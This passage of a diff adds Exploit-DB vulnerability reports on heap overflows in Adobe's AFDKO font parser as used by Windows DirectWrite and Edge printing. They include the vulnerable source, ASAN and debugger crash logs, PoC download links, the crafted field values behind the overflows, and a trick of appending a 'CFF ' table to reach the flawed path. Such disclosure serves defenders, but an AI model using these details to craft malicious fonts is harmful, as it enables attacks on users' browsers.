0a 0000006a`3df9c350 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0b 0000006a`3df9c3a0 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0c 0000006a`3df9c3f0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0d 0000006a`3df9c420 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0e 0000006a`3df9c450 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
0f 0000006a`3df9c490 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47092.zip
|
139
exploits/windows/dos/47093.txt
Normal file
139
exploits/windows/dos/47093.txt
Normal file
|
@ -0,0 +1,139 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
|
||||
|
||||
In this specific case, the CFR_NO_ENCODING flag must be unset while interacting with AFDKO to trigger the bug. According to our analysis, DirectWrite currently does specify this flag, but it still contains the readEncoding() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_NO_ENCODING flag is ever removed in the future, we have opted to report the bug despite its apparent unreachability at this time.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The readEncoding() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the encoding table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO, if the CFR_NO_ENCODING flag is not set. The relevant part of the function is shown below:
|
||||
|
||||
--- cut ---
|
||||
2288 fmt = read1(h);
|
||||
2289
|
||||
2290 switch (fmt & 0x7f) {
|
||||
2291 case 0:
|
||||
2292 cnt = read1(h);
|
||||
2293 while (gid <= cnt)
|
||||
2294 encAdd(h, &h->glyphs.array[gid++], read1(h));
|
||||
2295 break;
|
||||
2296 case 1:
|
||||
2297 cnt = read1(h);
|
||||
2298 while (cnt--) {
|
||||
2299 short code = read1(h);
|
||||
2300 int nLeft = read1(h);
|
||||
2301 while (nLeft-- >= 0)
|
||||
2302 encAdd(h, &h->glyphs.array[gid++], code++);
|
||||
2303 }
|
||||
2304 break;
|
||||
2305 default:
|
||||
2306 fatal(h, cfrErrEncodingFmt);
|
||||
2307 }
|
||||
--- cut ---
|
||||
|
||||
In both loops in lines 2292-2294 and 2297-2303, the code doesn't consider the size of the h->glyphs array and writes to it solely based on the encoding information. If the values read from the input stream in lines 2292, 2297 and/or 2300 exceed the number of glyphs in the font, the array may be overflown by the encAdd() function, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font:
|
||||
|
||||
--- cut ---
|
||||
1791 dnaSET_CNT(h->glyphs, index.count);
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The three attached proof of concept files were generated by a fuzzer running against the "tx" utility compiled with AddressSanitizer. They are not complete OpenType fonts but rather raw CFF streams, which causes tx to not use the CFR_NO_ENCODING flag, which is necessary to reach the vulnerable readEncoding() function (c/tx/source/tx.c):
|
||||
|
||||
--- cut ---
|
||||
425 case src_OTF:
|
||||
426 h->cfr.flags |= CFR_NO_ENCODING;
|
||||
427 /* Fall through */
|
||||
428 case src_CFF:
|
||||
429 cfrReadFont(h, rec->offset, rec->iTTC);
|
||||
430 break;
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit "tx" program compiled with ASAN crashes with the following report when started with a ./tx -cff poc.cff command:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==205898==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b220 at pc 0x0000005573aa bp 0x7fff35b2b5c0 sp 0x7fff35b2b5b8
|
||||
READ of size 8 at 0x62a00000b220 thread T0
|
||||
#0 0x5573a9 in encAdd afdko/c/public/lib/source/cffread/cffread.c:2203:14
|
||||
#1 0x540f80 in readEncoding afdko/c/public/lib/source/cffread/cffread.c:2302:29
|
||||
#2 0x529eb9 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2805:17
|
||||
#3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#8 0x7f116e1722b0 in __libc_start_main
|
||||
#9 0x41e5b9 in _start
|
||||
|
||||
0x62a00000b220 is located 32 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200)
|
||||
allocated by thread T0 here:
|
||||
#0 0x4c63f3 in __interceptor_malloc
|
||||
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
|
||||
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
|
||||
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
|
||||
#5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
|
||||
#6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
|
||||
#7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#12 0x7f116e1722b0 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2203:14 in encAdd
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x0c547fff9640: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==205898==ABORTING
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47093.zip
|
194
exploits/windows/dos/47094.txt
Normal file
194
exploits/windows/dos/47094.txt
Normal file
|
@ -0,0 +1,194 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:
|
||||
|
||||
--- cut ---
|
||||
2352 case 3: {
|
||||
2353 int nRanges = read2(h);
|
||||
2354
|
||||
2355 gid = read2(h);
|
||||
2356 while (nRanges--) {
|
||||
2357 int fd = read1(h);
|
||||
2358 long next = read2(h);
|
||||
2359
|
||||
2360 while (gid < next)
|
||||
2361 h->glyphs.array[gid++].iFD = (unsigned char)fd;
|
||||
2362 }
|
||||
2363 } break;
|
||||
--- cut ---
|
||||
|
||||
In the handling of FDSelect Type 3 (see [5]), the code doesn't consider the size of the h->glyphs array and writes to it solely based on the FDSelect information. If the values read from the input stream in lines 2353, 2355 and 2358 exceed the number of glyphs in the font, the array may be overflown in line 2361, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font:
|
||||
|
||||
--- cut ---
|
||||
1791 dnaSET_CNT(h->glyphs, index.count);
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept font contains an FDSelect table with the following initial values:
|
||||
|
||||
- nRanges = 0x0001
|
||||
- gid = 0x0000
|
||||
- fd = 0x00
|
||||
- next = 0xffff (modified from the original 0x0586)
|
||||
|
||||
By increasing the value of "next" from 1414 to 65535, we cause the loop in lines 2360-2361 to go largely out of bounds and overflow the h->glyphs array.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==235715==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb8259a282a at pc 0x000000540130 bp 0x7ffe5b379f50 sp 0x7ffe5b379f48
|
||||
WRITE of size 1 at 0x7fb8259a282a thread T0
|
||||
#0 0x54012f in readFDSelect afdko/c/public/lib/source/cffread/cffread.c:2361:48
|
||||
#1 0x529a3d in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2791:13
|
||||
#2 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#3 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#4 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#5 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#6 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#7 0x7fb8246e02b0 in __libc_start_main
|
||||
#8 0x41e5b9 in _start
|
||||
|
||||
0x7fb8259a282a is located 42 bytes to the right of 143360-byte region [0x7fb82597f800,0x7fb8259a2800)
|
||||
allocated by thread T0 here:
|
||||
#0 0x4c63f3 in __interceptor_malloc
|
||||
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
|
||||
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
|
||||
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
|
||||
#5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
|
||||
#6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
|
||||
#7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#12 0x7fb8246e02b0 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2361:48 in readFDSelect
|
||||
Shadow bytes around the buggy address:
|
||||
0x0ff784b2c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0ff784b2c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0ff784b2c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0ff784b2c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0ff784b2c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x0ff784b2c500: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
|
||||
0x0ff784b2c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0ff784b2c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0ff784b2c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0ff784b2c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0ff784b2c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==235715==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0000000000412cd7 in readFDSelect (h=0x710380) at ../../../../../source/cffread/cffread.c:2361
|
||||
2361 h->glyphs.array[gid++].iFD = (unsigned char)fd;
|
||||
(gdb) print gid
|
||||
$1 = 1998
|
||||
(gdb) x/10i $rip
|
||||
=> 0x412cd7 <readFDSelect+551>: mov %cl,0x2a(%rdx)
|
||||
0x412cda <readFDSelect+554>: jmpq 0x412ca3 <readFDSelect+499>
|
||||
0x412cdf <readFDSelect+559>: jmpq 0x412c23 <readFDSelect+371>
|
||||
0x412ce4 <readFDSelect+564>: jmpq 0x412cf7 <readFDSelect+583>
|
||||
0x412ce9 <readFDSelect+569>: mov -0x8(%rbp),%rdi
|
||||
0x412ced <readFDSelect+573>: mov $0x1c,%esi
|
||||
0x412cf2 <readFDSelect+578>: callq 0x40cbb0 <fatal>
|
||||
0x412cf7 <readFDSelect+583>: mov -0x8(%rbp),%rax
|
||||
0x412cfb <readFDSelect+587>: mov 0x35f8(%rax),%rax
|
||||
0x412d02 <readFDSelect+594>: mov -0x8(%rbp),%rcx
|
||||
(gdb) info reg $rdx
|
||||
rdx 0x7ffff7ff7020 140737354100768
|
||||
(gdb) x/10bx $rdx+0x2a
|
||||
0x7ffff7ff704a: Cannot access memory at address 0x7ffff7ff704a
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash is also shown below:
|
||||
|
||||
--- cut ---
|
||||
(5960.48c4): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!readFDSelect+0xe9:
|
||||
00007ffb`29e6bd39 40886c012a mov byte ptr [rcx+rax+2Ah],bpl ds:00000263`f1d43002=??
|
||||
|
||||
0:038> ? rax
|
||||
Evaluate expression: 2628282101824 = 00000263`f1d23040
|
||||
0:038> ? rcx
|
||||
Evaluate expression: 130968 = 00000000`0001ff98
|
||||
0:038> db rax+rcx+2a
|
||||
00000263`f1d43002 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43012 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43022 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43032 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43042 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43052 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43062 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
00000263`f1d43072 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 0000006f`88b4aef0 00007ffb`29e6de90 DWrite!readFDSelect+0xe9
|
||||
01 0000006f`88b4af20 00007ffb`29e621e7 DWrite!cfrBegFont+0x5e4
|
||||
02 0000006f`88b4b7b0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
|
||||
03 0000006f`88b4bcb0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
04 0000006f`88b4be90 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
05 0000006f`88b4c0b0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
06 0000006f`88b4c410 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
07 0000006f`88b4c4a0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
08 0000006f`88b4c5c0 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
09 0000006f`88b4c610 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0a 0000006f`88b4c660 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0b 0000006f`88b4c690 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0c 0000006f`88b4c6c0 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
0d 0000006f`88b4c700 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
[5] https://docs.microsoft.com/en-us/typography/opentype/spec/cff2#table-12-fdselect-format-3
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47094.zip
|
251
exploits/windows/dos/47095.txt
Normal file
251
exploits/windows/dos/47095.txt
Normal file
|
@ -0,0 +1,251 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the charset information of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:
|
||||
|
||||
--- cut ---
|
||||
[...]
|
||||
2179 case 1:
|
||||
2180 size = 1;
|
||||
2181 /* Fall through */
|
||||
2182 case 2:
|
||||
2183 while (gid < h->glyphs.cnt) {
|
||||
2184 unsigned short id = read2(h);
|
||||
2185 long nLeft = readN(h, size);
|
||||
2186 while (nLeft-- >= 0)
|
||||
2187 addID(h, gid++, id++);
|
||||
2188 }
|
||||
2189 break;
|
||||
--- cut ---
|
||||
|
||||
whereas addID() is defined as follows:
|
||||
|
||||
--- cut ---
|
||||
1838 /* Add SID/CID to charset */
|
||||
1839 static void addID(cfrCtx h, long gid, unsigned short id) {
|
||||
1840 abfGlyphInfo *info = &h->glyphs.array[gid];
|
||||
1841 if (h->flags & CID_FONT)
|
||||
1842 /* Save CID */
|
||||
1843 info->cid = id;
|
||||
1844 else {
|
||||
1845 /* Save SID */
|
||||
1846 info->gname.impl = id;
|
||||
1847 info->gname.ptr = sid2str(h, id);
|
||||
1848
|
||||
1849 /* Non-CID font so select FD[0] */
|
||||
1850 info->iFD = 0;
|
||||
[...]
|
||||
1859 }
|
||||
1860 }
|
||||
--- cut ---
|
||||
|
||||
The readCharset() routine doesn't consider the size of the h->glyphs array and writes to it solely based on the charset information. If the value read from the input stream in line 2185 exceeds the number of glyphs in the font, the array may be overflown in addID() (line 1843 or 1846, 1847, 1850), corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() according to the number of CharStrings found in the font:
|
||||
|
||||
--- cut ---
|
||||
1791 dnaSET_CNT(h->glyphs, index.count);
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept font contains a charset descriptor with the following initial values:
|
||||
|
||||
- width = 0x02 (changed from 0x01)
|
||||
- id = 0x4141 (changed from 0x0001)
|
||||
- nLeft = 0xffff (changed from 0x15)
|
||||
|
||||
By increasing the value of "nLeft" from 21 to 65535, we cause the loop in lines 2386-2387 to go largely out of bounds and overflow the h->glyphs array.
|
||||
|
||||
In theory, the vulnerability shouldn't be possible to reach in Microsoft DirectWrite and its client applications, because AFDKO is only used there for instancing variable fonts, whereas such CFF2 fonts follow another execution path in the readCharset() function:
|
||||
|
||||
--- cut ---
|
||||
2138 if (h->header.major == 2) {
|
||||
2139 postRead(h);
|
||||
2140 if (h->cff2.mvar)
|
||||
2141 MVARread(h);
|
||||
2142 if (!(h->flags & CID_FONT))
|
||||
2143 readCharSetFromPost(h);
|
||||
2144 else {
|
||||
2145 long gid;
|
||||
2146 for (gid = 0; gid < h->glyphs.cnt; gid++) {
|
||||
2147 abfGlyphInfo *info = &h->glyphs.array[gid];
|
||||
2148 info->cid = (unsigned short)gid;
|
||||
2149 }
|
||||
2150 }
|
||||
2151 return;
|
||||
2152 }
|
||||
--- cut ---
|
||||
|
||||
However, we have found that it is in fact possible to trigger the handling of CFFv1 in AFDKO, by appending the old style "CFF " table to a variable font which already includes a "CFF2" one. This causes DirectWrite to correctly load the variable font, but AFDKO still finds "CFF " first and passes it for further parsing, thanks to the following logic in srcOpen() (afdko/c/public/lib/source/cffread/cffread.c):
|
||||
|
||||
--- cut ---
|
||||
561 /* OTF; use CFF table offset */
|
||||
562 sfrTable *table =
|
||||
563 sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', ' '));
|
||||
564 if (table == NULL) {
|
||||
565 table = sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', '2'));
|
||||
566 }
|
||||
567 if (table == NULL)
|
||||
568 fatal(h, cfrErrNoCFF);
|
||||
